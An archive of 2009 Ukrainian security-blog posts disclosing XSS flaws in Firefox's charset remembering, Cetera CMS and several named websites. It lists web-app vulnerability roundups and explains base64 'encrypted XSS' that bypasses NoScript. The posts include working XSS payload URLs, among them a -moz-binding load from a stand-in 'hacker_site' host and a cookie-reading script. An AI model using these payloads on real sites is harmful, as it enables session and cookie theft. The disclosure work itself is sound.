Архів для категорії 'Уразливості'

Charset Remembering Firefox’а наносить удар у відповідь

23:58 03.03.2009

03.03.2009

Так, Charset Remembering Firefox’а наносить удар у відповідь (Firefox’s Charset Remembering strikes back). Раніше я розповідав про Charset Remembering уразливість в Mozilla Firefox. І як я писав в коментарях до свого запису, Mozilla частково виправила уразливість, але виправила лише атаку через UTF-7 (в Firefox 3.0.2). Сама ж Charset Remembering в браузері залишилася, що я перевірив в Firefox 3.0.6. Що може бути використано для проведення подібних атак з іншим кодуванням.

І одразу, як я написав даний коментар, я почав обмірковувати можливість атаки з іншими кодуваннями (окрім UTF-7). В мене виникли підозри, що для даної атаки можна використати кодування EUC-JP або SHIFT_JIS. Що я сьогодні перевірив і підтвердив можливість проведення XSS атаки з EUC-JP (SHIFT_JIS) з використанням Charset Remembering уразливості.

При вказані користувачем для сторінки на сайті кодування, браузер запам’ятовує дане кодування і використовує його в подальшому при всіх запитах до даної сторінки, якщо в ній не вказано кодування. Навіть після перезапуску браузеру - вказане кодування запам’ятовується доти, доки воно не буде змінено на інше. Що дозволить при вказанні кодування EUC-JP (SHIFT_JIS) проводити XSS атаки (при відвіданні сторінок з XSS кодом або приховані атаки через frame/iframe).

Алгоритм атаки (схожий на Charset Remembering з UTF-7):

1. Заманити користувача на сторінку http://site/page.html (де не вказане кодування) і змусити його встановити EUC-JP (SHIFT_JIS) кодування для даної сторінки.

2. Сторінка на сайті, що атакується, повинна бути придатна для проведення XSS атак з variable-width encoding.

3. Розмістити спеціальний XSS код на http://site/page.html (як reflected або persistent) і атакувати користувача на даній сторінці.

4. Доки кодування EUC-JP (SHIFT_JIS) для даної сторінки буде встановлене в браузері, можна буде повторно атакувати користувача.

Уразливі Mozilla Firefox 3.0.6 та всі попередні версії (всі браузери на движку Mozilla).

XSS через Charset Remembering:

Коли фільтруються кутові дужки і лапки, то атакувати можна з використанням -moz-binding.

http://site/page.html?a=%8F&b=%20style=-moz-binding:url(http://hacker_site/xss.xml%23xss)%20

Працює в Mozilla 1.7.x, в Firefox 1.x та потенційно в Firefox 2.x, але не в Firefox 3.0.6 (де виправлений -moz-binding вектор атаки).

Коли фільтруються лише лапки (а кутові дужки можливі), то атакувати можна без -moz-binding.

PoC:

Firefox_XSS_Charset_Remembering.html.

Працює в Mozilla Firefox 3.0.6 та всіх попередніх версіях.

16.06.2012

Як я вияснив, дана атака також може бути проведена при кодуванні Chinese Simplified (HZ). Також XSS і Charset Remembering уразливості наявні в браузерах в Internet Explorer і Opera.

Уразливість на newsukraine.com.ua

19:39 03.03.2009

22.09.2008

У грудні, 09.12.2007, я знайшов Cross-Site Scripting уразливість на проекті http://newsukraine.com.ua (онлайн ЗМІ). Про що найближчим часом сповіщу адміністрацію проекту.

Про дірки на сайтах онлайнових ЗМІ я часто згадую в новинах. Серед останніх сайтів ЗМІ я писав про заражений dn.kiev.ua та уразливості на expert.com.ua.

Детальна інформація про уразливість з’явиться пізніше.

27.02.2009

XSS:

Дана уразливість вже виправлена.

Уразливість в Cetera CMS

23:55 28.02.2009

У квітні, 16.04.2008, я знайшов Cross-Site Scripting уразливість в системі Cetera CMS. Як раз коли виявив уразливість на www.xbitlabs.com. Про що найближчим часом сповіщу розробникам системи.

XSS:

http://site/misc/picture/?src=%3C/title%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Добірка уразливостей

16:20 28.02.2009

В даній добірці уразливості в веб додатках:

  • Cisco Unified Communications Manager CTL Provider Heap Overflow (деталі)
  • Cisco Call Manager CTLProvider Heap Overflow Vulnerability (деталі)
  • PHP-Nuke genaral print SQL Injection(id) (деталі)
  • PHP-Nuke Module Dossiers Injection(did) (деталі)
  • SQL-injection, XSS in OSSIM (Open Source Security Information Management) (деталі)
  • PHP-Nuke Siir SQL Injection(id) (деталі)
  • XOOPS Module tinyevent-print SQL Injection(id) (деталі)
  • joomla SQL Injection(com_idvnews) (деталі)
  • Admin Phorum 3.3.1.a (del.php include_path) File Include Vulnerability (деталі)
  • Unrestricted file upload vulnerability in Wiclear (деталі)

Уразливість на www.xbitlabs.com

23:52 27.02.2009

У квітні, 16.04.2008, я знайшов Cross-Site Scripting уразливість на проекті http://www.xbitlabs.com. Про що найближчим часом сповіщу адміністрацію проекту.

XSS:

Уразливість на www.cafepress.com

19:39 27.02.2009

27.08.2008

У грудні, 07.12.2007, я знайшов Cross-Site Scripting уразливість на сайті http://www.cafepress.com. Про що найближчим часом сповіщу адміністрацію сайта.

До речі, цей сайт є HACKER SAFE :-) .

Детальна інформація про уразливість з’явиться пізніше.

27.02.2009

Уразливий скрипт (локальний пошуковець) був переміщений з домена www.cafepress.com на shop.cafepress.com.

XSS:

Дана уразливість досі не виправлена.

Добірка уразливостей

16:08 26.02.2009

В даній добірці уразливості в веб додатках:

  • 8e6 Technologies R3000 Internet Filter Bypass with Host Decoy (деталі)
  • 8e6 Technologies R3000 Internet Filter Bypass by Request Split (деталі)
  • (tip=sollinkicerik) SQL Injection Vulnerability (деталі)
  • ProjectPier <= 0.80 Cross Site Scripting and Request Forgery (деталі)
  • joomla SQL Injection(com_cms) (деталі)
  • joomla SQL Injection(com_asortyment)katid (деталі)
  • XOOPS Module prayerlist SQL Injection(cid) (деталі)
  • joomla SQL Injection(com_most)secid (деталі)
  • joomla SQL Injection(com_mygallery) (деталі)
  • PHP-Nuke Module Downloads SQL Injection(sid) (деталі)

Уразливості на www.technorati.com

19:36 25.02.2009

22.08.2008

У грудні, 05.12.2007, я знайшов Cross-Site Scripting уразливості на сайті http://www.technorati.com. Про що найближчим часом сповіщу адміністрацію сайта.

Детальна інформація про уразливості з’явиться пізніше. Треба дати час адмінам на реакцію з цього приводу.

25.02.2009

XSS:

Дані уразливості досі не виправлені.

Добірка уразливостей

17:39 24.02.2009

В даній добірці уразливості в веб додатках:

До речі, це нова XSS уразливість в Drupal від ettee, після нещодавно оприлюднених мною уразливостей в Drupal.

Encrypted XSS на yahoo.com

23:57 23.02.2009

Нещодавно я писав про уразливість на ebay.com, що представляла собою Encrypted XSS. Також зазначу, що ще в 2007 році під час проекта Month of MySpace Bugs була оприлюднена XSS уразливість, яку можна віднести до Зашифрованого XSS.

На відміну від XSS на eBay, що використовувала власний алгоритм шифрування, дірка на MySpace використовувала base64 шифрування. Зараз же я вам розповім про Cross-Site Scripting уразливість на yahoo.com, про яку мені повідомив Jackson в коментарях в записі про ebay.com.

Уразливість на yahoo.com (на bbs.cn.yahoo.com) представляє собою Encrypted XSS, що використовує base64 шифрування (як і у випадку дірки на MySpace). Дана уразливість вже була виправленя Yahoo!, але вона є гарним прикладом Зашифрованого XSS.

XSS:

http://bbs.cn.yahoo.com/searchApplyBoard/PHNjcmlwdD5hbGVydCgiWFNTLWJ5cGFzcy1Oby1TY3JpcHQiKTwvc2NyaXB0Pg==.html

Як зазначив Jackson, дана XSS дозволила обійти NoScript - відомий addon для Firefox.

За рахунок шифрування, даний тип Cross-Site Scripting - Encrypted XSS - дозволяє обходити серверні та клієнтські фаєрволи, що блокують XSS атаки, такі як NoScript.

Як я перевірив на NoScript 1.9.0.6 - запропонований мною метод дозволяє обходити NoScript. Жодних повідомлень про XSS атаку на сайті ebay.com він не вивів, хоча мав (eBay вже виправила цю дірку, але тим не менш NoScript мав спрацювати). Якщо з XSS з base64 шифруванням NoScript справляється, то у випадку інших алгоритмів шифрування вже не справляється. І цього буде важко досягти при нестандартних алгоритмах шифрування.